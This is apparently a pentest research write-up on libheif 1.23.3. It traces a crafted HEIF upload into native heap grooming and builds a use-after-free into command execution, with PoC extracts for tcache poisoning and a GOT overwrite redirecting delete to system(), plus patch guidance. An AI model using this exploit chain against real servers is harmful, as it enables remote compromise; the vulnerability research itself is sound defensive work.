This research comes from an authorized assessment. Client names, hostnames, credentials, identifiers and infrastructure details have been removed, while the remote upload path, allocator measurements and exploit-validation results have been kept because they are the parts that matter technically.
From an API pentest to native exploit development
The engagement started with the usual application-security questions: authenticated API calls, authorization boundaries, object ownership, role separation, state transitions and file handling. The upload feature looked ordinary at first, but HEIF files were handed to native code rather than being handled entirely inside the Python application. Following that data flow showed that a request entering through Django eventually crossed pillow-heif, libheif 1.23.3 and glibc 2.36. At that point, the security question was no longer limited to the endpoint itself; the relevant attack surface included the parser state and allocator behavior that the uploaded file could influence.
The web API was only the transport. The security boundary continued through the native parser and into the allocator state created from attacker-controlled file contents.
Remote reachability: the grooming primitive starts at the API
In the assessed deployment, an authenticated Editor could submit an image through the customer API using a multipart request. The application returned 202 Accepted and processed the file asynchronously. HEIC and HEIF extensions were explicitly mapped to the HEIF decoder, while the isolated normalizer registered pillow_heif before opening the file with Pillow. In other words, a normal remote API call was enough to place attacker-controlled HEIF structure in front of libheif inside the server-side processing environment.
Sanitized remote trigger: one API requestPOST /api/v1/pictures/ HTTP/1.1
Authorization: Token <redacted>
Content-Type: multipart/form-data; boundary=...
--...
Content-Disposition: form-data; name="picture"; filename="groom.heif"
Content-Type: image/heif
<crafted HEIF: meta / pitm / iref / dimg chain>
--...
Content-Disposition: form-data; name="siteId"
<controlled object UUID>
--...--
HTTP/1.1 202 Accepted
The application code makes that transition easy to see. Stripped of unrelated business logic, the path is simply:
Sanitized application path# API view
upload = validated_data.pop("picture")
picture = accept_upload(request.user, upload, attributes)
return Response(serializer(picture).data, status=202)
# isolated normalizer subprocess
register_heif_opener(thumbnails=False)
with Image.open(source, formats=["HEIF"]) as image:
image.load()
Source review established the path, but the remote behavior was also reproduced end to end. The crafted HEIF was accepted by the API, passed the malware-scanning stage and reached native normalization before the worker reported scan_failed / processing_error. The same payload had already been reproduced under root instrumentation against the libheif recursive path, allowing the remote PoC to correlate the application-side failure with that native condition and report REMOTE_STACK_EXHAUSTION_PATH_CONFIRMED.
iref/dimg parse-time DFS through the authenticated upload API and worker path.The result is more useful than a remote crash. The API already exposes a genuine heap-grooming capability because attacker-controlled file structure determines how the native parser populates and later releases a useful glibc size class. A complete network-to-RCE chain would therefore need a compatible corruption primitive in the same processing context, such as a UAF, double free or out-of-bounds write. The heap-conditioning stage itself is already remotely available.
The public starting point: iref/dimg recursion
GHSA-xrp2-63fq-jm8q documents a parser-side denial of service in libheif through iref. In the affected releases, Box_iref::parse() did not limit the total number of reference entries and HeifFile::check_for_ref_cycle_recursion() walked the resulting graph recursively without a depth bound. With a linear dimg chain, the file therefore controls the recursion depth almost directly.
File-controlled graphmeta
|--- pitm -> item 1
\--- iref
|--- dimg: 1 -> 2
|--- dimg: 2 -> 3
|--- dimg: 3 -> 4
|--- ...
\--- dimg: 45000 -> 45001
Stack exhaustion is the obvious consequence and the one described publicly. What made the bug interesting for exploitation was the work performed at every DFS level before the stack finally ran out. The cycle checker maintains two std::unordered_set<heif_item_id> instances for the active path and completed items, so recursion depth also drives allocator activity.
The undocumented primitive: file-driven 0x20 heap grooming
Tracing the allocator on the exact runtime showed that each insertion into the active-path set creates one libstdc++ hash node for the current recursion level. On this build the node requested 16 bytes through operator new, which reached malloc(16); 64-bit glibc 2.36 services that request from a 0x20-byte chunk. This was not reconstructed afterwards from a heap snapshot. The native call chain was captured while the crafted graph was being parsed:
Observed native allocation pathmalloc(16)
<- operator new(unsigned long)
<- std::_Hashtable<...>::_M_insert_unique(...)
<- HeifFile::check_for_ref_cycle_recursion(...)
<- HeifFile::check_for_ref_cycle_recursion(...)
<- ...
Why parent_items.insert(ID) is the important line
The relevant 1.23.3 logic can be reduced to the following without changing the part that matters for recursion, allocation and lifetime:
Condensed from the affected cycle checkif (parent_items.contains(ID))
return cycle_error;
if (finished_items.contains(ID))
return ok;
parent_items.insert(ID); // libstdc++ hash node -> new(16) -> malloc(16)
auto refs = iref_box->get_references(ID, fourcc("dimg"));
for (auto reference : refs)
check_for_ref_cycle_recursion(reference, iref_box,
parent_items, finished_items);
parent_items.erase(ID); // release during unwind
finished_items.insert(ID);
The resulting behavior is effectively an allocator program encoded in the HEIF graph. Graph depth controls the number of allocations, the active-path nodes remain live while recursion descends, and the unwind phase releases that population in a repeatable way. Later allocations from the same class can reclaim those addresses. On the tested libstdc++ ABI, the attacker-selected 32-bit item ID was also observable at a stable +0x8 offset inside the node payload, giving the file limited but predictable influence over the contents of each groomed chunk.
Measured behavior, not a heap hypothesis
| Input / depth | Observed behavior | Exploit relevance |
|---|---|---|
| 45,000 edges IDs 1..45001 | A compact linear dimg graph reaches the recursive cycle checker before image decode. | Remote file size directly controls native recursion and allocator activity. |
| Depth 10,871 | malloc(16)=10871; 10,870 nodes captured; 0 frees before fault; 133/133 sampled node payloads matched selected IDs. | Dense population of simultaneously live 0x20 chunks with predictable data at a stable offset. |
| Depth 8,192 | 16,386 tracked allocation/free events; live set returned to zero after normal cycle-check completion. | Clean release phase when recursion unwinds. |
| Depth 4,096 | 8,194 tracked events; 8,183 unique freed addresses; 14 exact-address reuses in later allocations. | The freed population is practically reclaimable, not merely theoretical heap pressure. |
iref/dimg reference graphs can exhaust the stack through an unbounded recursive cycle check.malloc(16); the nodes remain live during descent, carry attacker-selected IDs at a stable offset on the tested ABI, and are released in a repeatable unwind phase.0x20 class and was independently developed from advisory text to verified command execution on the exact runtime.Why the shared 0x20 class changed the investigation
The next observation connected the parser work to exploit development. The DFS node requests 16 bytes, while the TAI timestamp object used by the newly published UAF is 24 bytes; on the assessed 64-bit glibc runtime, both are serviced from the same 0x20 chunk class. That means objects originating from otherwise unrelated code paths can compete for the same tcache entries, which is exactly the kind of relationship a useful grooming primitive is meant to create.
The fresh 1-day: GHSA-qwpf-5wf7-r996
On September 21, 2026, libheif published GHSA-qwpf-5wf7-r996, describing a heap use-after-free and double free while encoding an image that carries a TAI timestamp, including the transcoding of a file with an itai property. The ownership error is compact but exploitable: ImageDescription shallow-copied a raw heif_tai_timestamp_packet pointer, then a temporary created during ImageItem::encode_to_bitstream_and_boxes() released the packet while the source image and item still retained the same pointer. The upstream correction stores the timestamp by value instead (fix commit 45a40ca1).
The advisory explained the ownership bug, but not whether it could be turned into control of the process. Exploitation still depended on the exact object size, the timing of the first release, whether the freed object could be reclaimed, what happened when the stale owner released it again, how glibc safe-linking affected the tcache, which writable target existed in the loaded binary, and whether a legitimate code path could be used as a reliable trigger. Those questions had to be answered against the deployed runtime rather than assumed from the upstream description.
iref/dimg groomer.Ownership-equivalent pseudocode (not a verbatim source listing)struct ImageDescription {
heif_tai_timestamp_packet* tai;
// vulnerable copy semantics: pointer value is copied
ImageDescription(const ImageDescription&) = default;
~ImageDescription() {
if (tai) heif_tai_timestamp_packet_release(tai);
}
};
// encode path
ImageDescription tmp = source_description; // same TAI pointer
...
// tmp destructor: first free
// source_description.tai: now dangling
From advisory text to a working exploit
No public exploit PoC was used for the final proof. The exploit was built from the advisory, the vulnerable source behavior and observations from the exact target runtime. A UAF advisory tells you which ownership rule is broken; getting from there to RCE means establishing the allocator state, the binary layout and a reliable control-flow transition for the environment that is actually deployed.
sizeof(heif_tai_timestamp_packet) == 24.operator delete JUMP_SLOT with readelf, use dladdr() for the real ELF load bias, and verify the target mapping is writable.malloc(24) calls are verified to return the victim and then the chosen writable target. The sized-delete relocation is overwritten with system(); a legitimate TAI release supplies the controlled argument.Exact-runtime ABI and relocation discovery
PoC extract: derive target facts instead of hard-coding them// compiled against the exact target headers
printf("TAI_SIZE=%zu\n", sizeof(heif_tai_timestamp_packet));
printf("TAI_TIMESTAMP_OFF=%zu\n",
offsetof(heif_tai_timestamp_packet, tai_timestamp));
# locate the sized-delete relocation in the exact deployed .so
readelf -rW libheif.so.1.23.3 |
awk '$3=="R_X86_64_JUMP_SLOT" && /_ZdlPvm/ { print "0x"$1; exit }'
The exploit resolved the loaded libheif base with dladdr(), derived the relocation address from the file offset and verified the mapping permissions through /proc/self/maps. Doing this against the running process avoided treating the first visible mapping as the ELF load bias, an assumption that would have made the later write target unreliable.
Reclaim and tcache poisoning
PoC extract: exact logic from the final exploit, identifiers sanitizedSPRAY_N = 128
spray = []
for i in range(SPRAY_N):
p = int(libc.malloc(TAI_SIZE) or 0)
ptr_write(p, 0x4141414100000000 | i)
ptr_write(p + 8, 0x4242424200000000 | i)
ptr_write(p + 16, 0x4343434300000000 | i)
spray.append(p)
lib.heif_image_release(img) # stale owner frees one still-live spray chunk
# ... locate the overlapping victim by exact address reuse ...
libc.free(ctypes.c_void_p(decoy))
libc.free(ctypes.c_void_p(victim))
# glibc 2.36 safe-linking: e->next = target ^ (chunk_addr >> 12)
encoded_next = fake_target ^ (victim >> 12)
ptr_write(victim, encoded_next)
pop1 = int(libc.malloc(TAI_SIZE) or 0)
pop2 = int(libc.malloc(TAI_SIZE) or 0)
assert pop1 == victim
assert pop2 == fake_target
Build-specific write and control-flow trigger
PoC extract: verified command-execution stage# pop2 overlaps the writable sized-delete relocation on this build
ptr_write(pop2 + got_delta, system_addr)
assert ctypes.c_uint64.from_address(delete_got).value == system_addr
cmd = b"id>/tmp/boss-libheif-rce-proof\x00"
cmdpkt = lib.heif_tai_timestamp_packet_alloc()
ctypes.memset(cmdpkt, 0, TAI_SIZE)
ctypes.memmove(cmdpkt, cmd, len(cmd))
# sized delete now resolves to libc system()
lib.heif_tai_timestamp_packet_release(cmdpkt)
assert os.path.exists("/tmp/boss-libheif-rce-proof")
system() address are intentionally retained because they are part of the exploit-development evidence.The role of the 1-day in this research: the proof deliberately resolved the libheif base and system() inside the target process. The objective was to validate the complete corruption-to-control-flow sequence on the deployed runtime, with the same library build, allocator behavior and ABI observed during the assessment.
The result is directly relevant to the remote finding. It shows that a corruption primitive landing in this allocator class can consume the state produced by the grooming work and carry it through reclaim, tcache manipulation, a chosen native write and finally command execution.
The iref/dimg groomer is already remotely triggerable through the upload API. What remains for an end-to-end API-to-RCE chain is therefore a compatible memory-corruption primitive in that same processing context, not another mechanism to shape the heap.
From remote grooming to code execution: composing primitives
By then, the relationship between the two pieces was clear. The upload API could make libheif build and release a large population of predictable 0x20-class chunks from file-controlled dimg structure, while the TAI UAF showed that a corruption bug using that same allocator class could be pushed on the deployed runtime through tcache control, a chosen native write and ultimately command execution. The TAI bug was the corruption primitive available for this validation, but the reusable result is the remote iref/dimg groomer: any suitable memory-corruption bug reachable in the same native processing context can start from an allocator state that the attacker already knows how to shape.
Impact analysis
Remote heap grooming
An authenticated remote user can submit crafted HEIF through the normal API and drive the parse-time dimg DFS, producing controlled 0x20-class allocator state inside the server-side native parser.
Measured allocator properties
Allocation count, lifetime, same-bin placement, partial node contents and exact-address reuse were measured on the target runtime. Those properties are directly useful for exploit construction and go well beyond the public stack-exhaustion symptom.
Native command execution from the 1-day
The TAI UAF was developed from advisory and root-cause information into tcache control, a targeted native write, control-flow redirection and verified command execution on the exact libheif 1.23.3 and glibc 2.36 runtime.
Composable exploit primitive
The upload workflow already supplies the allocator-shaping stage remotely. A suitable memory-corruption primitive reachable in the same native processing context, particularly one using the same 0x20 class, can consume that state directly. The TAI 1-day demonstrated the exploitation strategy and the viability of the target runtime all the way to command execution.
Calling the result only a parser DoS would miss the part that matters most for exploitation. The remote file does not merely consume stack; it conditions the heap in a repeatable allocator class and gives the exploit developer useful control over allocation count, lifetime, data and reuse. Once a compatible corruption bug is found in the same processing context, that heap work is already done.
What this changes during an offensive assessment
A file-upload endpoint is often treated as an application feature with a familiar checklist around extension handling, MIME validation, storage and authorization. That view becomes incomplete as soon as the bytes are handed to a native parser. At that point the parser's object lifetimes, allocator behavior, binary hardening and process privileges are part of the exposed attack surface as well. In this case, following the file across that boundary is what turned an ordinary API test into a heap-exploitation problem.
The same applies to public advisories. A description such as "UAF / double free" establishes a vulnerability class, but it says very little about practical exploitation on a specific target. Reclaimability, stale-free behavior, safe-linking, writable targets, RELRO, the exact object ABI and the process mappings all had to be checked before the advisory could be turned into a reliable proof. The iref/dimg work is valuable for the same reason: it provides reusable heap-conditioning infrastructure rather than another isolated crash.
Defensive implications
- Upgrade to libheif 1.23.5 or newer. The release fixes the TAI lifetime issue by storing the timestamp by value.
- Do not remain on 1.23.3. libheif 1.23.4 addresses the unbounded
irefrecursion path and related reference-count handling. - Keep image processing isolated and low privilege. The assessed design already used a separate normalizer process; sandboxing, a minimal filesystem, no unnecessary network access and strict resource limits reduce the consequence of native parser failures.
- Use full RELRO and current compiler/linker hardening. It would remove the writable relocation used by this exact proof, although it does not repair the UAF.
- Inventory native transitive dependencies. A Python service may still expose C/C++ parser attack surfaces through Pillow, media codecs, archive handlers and document libraries.
- Test read/decode and write/encode paths separately. The TAI bug lived in encoding semantics; a decode-only normalizer had a different reachability profile.
Research conclusion
The result is not simply that libheif contained another pair of bugs. The public information already described an unbounded recursive reference walk and, later, a TAI lifetime error. The research value came from working out what those behaviors meant inside a real remotely exposed consumer, where file structure, C++ containers, glibc allocation classes and binary layout all interact.
The iref/dimg path is a remotely triggerable heap-conditioning mechanism. Attacker-controlled graph depth creates one 16-byte libstdc++ node for each active DFS level; those requests land in glibc's 0x20 class, the selected item IDs are reflected in the node payload on the tested ABI, and the unwind phase releases the population so that later same-class requests can reuse exact addresses. That behavior was measured directly rather than inferred from the crash.
The TAI 1-day provided a concrete way to test how far that allocator knowledge could be pushed on the same runtime. Starting from the advisory and without a public exploit PoC, the work established the object ABI, reclaimed the first free, converted the stale release into an overlap, satisfied glibc safe-linking, forced an allocation at a chosen writable target, performed the native write and redirected a legitimate delete path to system(). Command execution was then verified independently. The remote path had already supplied the groomer; the 1-day exercise proved that the surrounding runtime could turn a compatible corruption primitive into RCE.
The upload was the entry point; the interesting part began after the file crossed into libheif, where parser behavior became allocator behavior and allocator behavior became something an exploit could use.
References
- GHSA-xrp2-63fq-jm8q: unbounded
irefentry list and recursive reference-cycle check - libheif v1.23.4 security maintenance release
- GHSA-qwpf-5wf7-r996: TAI timestamp heap use-after-free / double free
- libheif v1.23.5 security release
- libheif fix commit
45a40ca1: store the TAI timestamp by value